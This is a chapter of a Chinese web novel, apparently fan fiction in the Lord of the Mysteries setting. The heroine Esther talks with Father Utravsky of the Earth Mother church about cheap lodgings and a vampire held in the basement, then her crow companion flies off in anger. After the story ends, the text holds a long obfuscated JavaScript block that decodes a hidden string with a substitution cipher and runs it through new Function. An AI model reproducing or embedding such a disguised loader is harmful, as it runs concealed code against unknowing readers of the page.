艾丝特在高大主教低沉的嗓音中，听着那些诗歌一般的圣典文字，在祈祷厅里悠然传开，如同从高墙底端爬起常青藤，用丰收的绿意浇灌了夕阳，又或者是将昏黄的太阳染上了麦香。
然而艾丝特开始走神了，她听到了一阵沉闷的锤击声，还夹杂着不怎么清晰的叫喊。
祈祷厅里确实只有两个人，她疑惑地眨眨眼，瞥了下怀中的乌鸦小七，刚好对上小七不满的目光。
已经黄昏了，她在这里浪费了不少时间。
似乎察觉到艾丝特想离开的念头，主教张开双臂，以一串赞美大地母神尊名的感叹句结束了这场“一对一布道”，然后他走下来坐在了艾丝特这张长椅的旁边，跟她保持了一米以上的距离。
艾丝特拍了拍身下的长凳，忍不住问起她刚才就很疑惑的事情：“主教先生，您没考虑过订购更宽点的椅子吗？”
这些以普通人而言宽度正好的长椅，对主教的个头来说就显得太窄了。
“我更喜欢别人称呼我神父，乌特拉夫斯基神父。”
艾丝特的眼神恍惚了一瞬间，她有种没来由的感伤：“嗯……好的。”
“你似乎有很多困扰。如果你有忧虑，母神愿意向任何人敞开祂的怀抱。也希望你能感受到万物生长的美好与喜悦，年轻人。”
艾丝特欲言又止，她望着最前方被晚霞晕染澄黄的圣徽，稍微将身子往后仰了仰：“是的，我确实有很多烦恼。您知道附近哪里有比较便宜的廉价租房吗？不需要身份证明的那种。”
“铃兰花街七号的公寓单间，不过盥洗室是公用的。西北近河岸的布雷斯顿街五到十一号都是外租房，房东住在四号你可以告诉他我的名字。威尔迪街九号的住户手里有两套联排房屋，但是价格不便宜。河湾大道十一、十九都有在出租的房间，如果你是独身一人或许可以寻求到那两户人家的信任……”
在一长串报菜名一样的筛选后，乌特拉夫斯基神父捏着他的鼻梁，露出了疲惫的神态，他确实在尽心尽力地替艾丝特思考着，“我推荐的是铃兰花街七号的公寓，那里的房主对不守规矩的租户异常苛刻，所以公寓环境反而比较整洁安静。”
艾丝特很快将这些地址和脑海中的地图比对了一下，又是感激又是无奈地望着乌特拉夫斯基神父：“您说的这个推荐……不会也是因为铃兰花街离这里最近吧？”
“赞美母神，这会很方便你到这里来聆听布道。”
“总之很感谢您的建议，我会认真考虑的。”艾丝特听到教堂深处传来的锤击和咒骂声又剧烈起来，忍不住问道，“这里还有其他人吗？”
乌特拉夫斯基神父非常坦然：“是的，你的感知似乎很奇妙，地下室关着一位吸血鬼。”
“哇，吸血鬼，是您抓住的吗？”艾丝特有点兴奋，她在翻阅那些神话般的历史古卷时，看过这个种族的部分资料，但从没亲眼见过。
“他迷路了，不知为什么突然闯进了教堂里。因为他看上去情绪相当激动，我就将他关在了地下，慢慢进行传教。”
艾丝特点点头，倒是没打算多追问这件事，她抱着小七从椅子上站起来：“都这个时间我也该走了，就不打扰您了。”
乌特拉夫斯基神父坐在椅子上没有动弹，他仍然不断按压着鼻梁，似乎在头痛：“我就不送你了，愿母神宽阔如大地的心怀与你同在。”
艾丝特沉默了几秒，轻声道：“可是我不信任何教的，神父先生。该是愿大地母神的安宁与您同在。”
第一次听到这么奇特的回复，乌特拉夫斯基神父的手顿了顿，他诧异地看了艾丝特几秒，直起身子郑重地在胸口划出了代表大地母神的手势：“感谢您的回礼。”
小七安静地待在艾丝特的怀里，但是眼神却越来越阴沉，这个神父的态度不像是正常的传教士，倒像是在试探艾丝特。即使是无意的，艾丝特的“祝福”也往往带有扭曲的力量，这一点她自己还从没意识到。
艾丝特不理解乌特拉夫斯基神父为何这么说，她匆忙地挥了挥手，转身走出了丰收教堂的祈祷厅。
夕阳的余晖被彩绘玻璃折射，散乱地落在地面上，像是破裂的碎片，落进乌特拉夫斯基神父的眼底，他原本隐忍着痛苦的暴戾的眼神渐渐平静。
他又低声念起另外一段大地母神教义里的内容：
“采果的汗水将土壤浇灌，麦子在您的微笑中舞动丰饶，
辛勤者将获得应有的酬谢，苦难者将获得温暖的垂怜。
冬季的寒霜让您不得欢颜，直到婴孩的掌心握着所有欢声笑语，
递过新一度万物复苏的春天……”
——
“那个乌特拉夫斯基神父的问题很大。”
走到快看不见丰收教堂了，小七立刻就扑腾翅膀挣脱艾丝特的怀抱，重新落回她肩头。
“你注意到了什么？他好像也是非凡者。”
“而且序列不会太低。你没感觉到他眼中时有时无的混浊感吗？”
艾丝特点点头，又摇摇头：“但他在竭力压抑自己很危险的那一面，这足以说明他的本性。而且他也给我提了不少可靠建议。我不认为这么大一座大地母神教堂的负责人会是个匪徒，至少现在他不是。”
“你连这样的人都信任，却不信任我，真是很让人伤心啊。”
艾丝特摸了摸怀里的钱数，估摸着自己手头的现金：“那是因为你们每次一提那个家族的名字，我都会感到背后发凉，这情况在我死过一次之后还变严重了。”
“啧，这人怎么总在该迟钝的时候变敏锐……”小七不满地嘟囔道，用爪子在艾丝特的头发挠了两下，毫不在乎艾丝特听得清清楚楚。
艾丝特却在琢磨其他的事情：“事实上除了黑夜警告过我的梦境，我还梦到过一些别的，有个很好看的银色长发的人，他带着一只死掉的云雀，那只云雀也会发光，他还说他的主……”
艾丝特的话还没说完，小七的尾羽已经完全炸了起来，它扇动翅膀飞到了半空中，落在一处路灯上，黑眼珠中满是警觉。它没有说话，而是用完全敌视的眼光紧盯着艾丝特。
在艾丝特茫然的眼光下，小七离得远远的，甚至打理起自己的羽毛，它如同一只普通的乌鸦般，对走在地面上的人类充满警惕。
“小七？你怎么……”
艾丝特刚上前一步，那只乌鸦发出了沙哑的“嘎嘎”声，直接往天边飞走了，很快就绕过几栋尖顶哥特式塔楼，消失在贝克兰德的阴霾间。
“什么鬼啊！？”
艾丝特也被这只阴晴不定的乌鸦惹出了一肚子气，她根本不知道是自己说了什么，竟然让小七直接翻脸。
她望着灰蒙蒙的天空，感觉自己的心情也跟它同样阴沉下去，一路小跑在昏暗的街道上，艾丝特试图借此将这段令人恼火的分别也抛在脑后。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();